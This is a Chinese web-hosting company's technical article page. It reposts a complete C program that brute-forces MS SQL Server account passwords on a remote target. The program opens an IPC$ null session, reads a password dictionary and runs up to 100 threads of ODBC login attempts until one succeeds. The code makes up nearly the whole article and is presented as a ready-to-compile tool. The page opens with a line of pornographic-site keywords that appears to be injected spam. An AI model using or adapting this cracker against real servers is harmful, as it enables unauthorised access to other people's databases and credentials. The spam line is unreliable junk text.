亚洲韩日午夜视频,欧美日韩在线精品一区二区三区,韩国超清无码一区二区三区,亚洲国产成人影院播放,久草新在线,在线看片AV色

您好,歡迎來到思海網絡,我們將竭誠為您提供優質的服務! 誠征網絡推廣 | 網站備案 | 幫助中心 | 軟件下載 | 購買流程 | 付款方式 | 聯系我們 [ 會員登錄/注冊 ]
促銷推廣
客服中心
業務咨詢
有事點擊這里…  531199185
有事點擊這里…  61352289
點擊這里給我發消息  81721488
有事點擊這里…  376585780
有事點擊這里…  872642803
有事點擊這里…  459248018
有事點擊這里…  61352288
有事點擊這里…  380791050
技術支持
有事點擊這里…  714236853
有事點擊這里…  719304487
有事點擊這里…  1208894568
有事點擊這里…  61352289
在線客服
有事點擊這里…  531199185
有事點擊這里…  61352288
有事點擊這里…  983054746
有事點擊這里…  893984210
當前位置:首頁 >> 技術文章 >> 文章瀏覽
技術文章

遠程檢測MS SQL Server賬號安全性

添加時間:2013-5-21 16:49:07  添加: 思海網絡 

ODBC是開放數據互連(Open Database Connectivity)的簡稱,它是一個用于遠程訪問數據庫(主要是關系型數據庫)的統一界面標準。  ODBC下現實運用中是一個數據庫的訪問庫,它提供了一組ODBC API函數可以提供給編程者使用。對于程序員來說,ODBC API函數集實際上等于一個動態連接庫(DLL)集,可以在應用程序中直接使用它們。

一個應用程序直接調用ODBC API函數來進行數據庫的應用工作,工作過程一般比較復雜。其中一種辦法大概是以下幾步:
<1>啟動ODBC數據庫應用程序。
<2>與服務器建立IPC SESSION。
<3>創建數據庫應用的環境句柄。
<4>創建連接句柄。
<5>連接數據源。
<6>創建語句句柄。
<7>通過上一步創建的語句句柄來執行SQL操作。
<8>釋放語句句柄。
<9>要進行多此SQL操作的話,就循環步驟6-8。
<10>斷開與數據庫的連接。
<11>釋放連接句柄。
<12>釋放環境句柄。
<13>斷開IPC SESSION。
<14>程序結束。

下面以一個實例來說明遠程檢測MS SQL Server賬號密碼的全過程。

/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定義全局變量
char dict[20000][40],//密碼字典
UserName[40],//用戶名
target[40],//目標服務器
passwd[40];//已經探測出來的正確密碼
int total=0;//字典里面單詞數量
BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
HANDLE hSemaphore,//信標內核對象
hEvent;//事件內核對象
long MaxThreads,//最大線程數量
ActiveThreads;//活動線程數量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];

file://打開字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://讀取數據到臨時變量
if(fgets(tmp,40,fp)==NULL)
break;
file://把從文件里面讀出來的最后一位數據[換行符號]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://定義局部變量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運行返回值
SCHAR ConnStr[200];//連接數據庫字符串
long PreviousCount;

file://取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
file://構造連接數據庫字符
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://創建數據庫應用的環境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://設置ODBC版本環境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://創建連接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://連接數據源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://連接失敗,函數終止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://連接遠程MSSQL Server數據庫成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://斷開連接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://釋放連接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://釋放環境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://對信標當前資源數量進行遞增1,并取得當前資源數量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://計算當前活動線程數量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://如果活動線程數量為0,那么將事件內核對象hEvent改為已通知狀態,程序結束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//線程句柄
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程序運行的起始和結束時間
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目標地址,用戶名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得并檢查用戶輸入的最大線程數量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://讀取字典中的單詞到內存中
if(ReadDic(argv[3])!=0)
return 1;
file://與目標機器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://創建信標內核對象,最大資源數量和可以使用的資源數量均為MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://創建事件內核對象[人工重置,初始狀態為未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://開始計時
start=clock();
file://開始建立線程探測密碼
for(i=0;i {
file://探測密碼成功后跳出此循環
if(Cracked==TRUE)
break;
file://顯示進度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
file://創建線程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://處理創建線程錯誤的情況
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信標內核對象通知,可用資源數量大于0則繼續創建線程,等于0則線程進入等待狀態
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件內核對象通知,最多等待3分鐘
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://斷開與目標機器的IPC Session
DelIPC(target);
file://探測密碼成功后回顯信息
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://記時結束
end=clock();
file://轉換時間格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://顯示所用時間
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
程序在windows2000,vc++6.0環境下編譯通過。


關鍵字:SQL Server、服務器、數據庫

分享到:

頂部 】 【 關閉
版權所有:佛山思海電腦網絡有限公司 ©1998-2024 All Rights Reserved.
聯系電話:(0757)22630313、22633833
中華人民共和國增值電信業務經營許可證: 粵B1.B2-20030321 備案號:粵B2-20030321-1
網站公安備案編號:44060602000007 交互式欄目專項備案編號:200303DD003  
察察 工商 網安 舉報有獎  警警  手機打開網站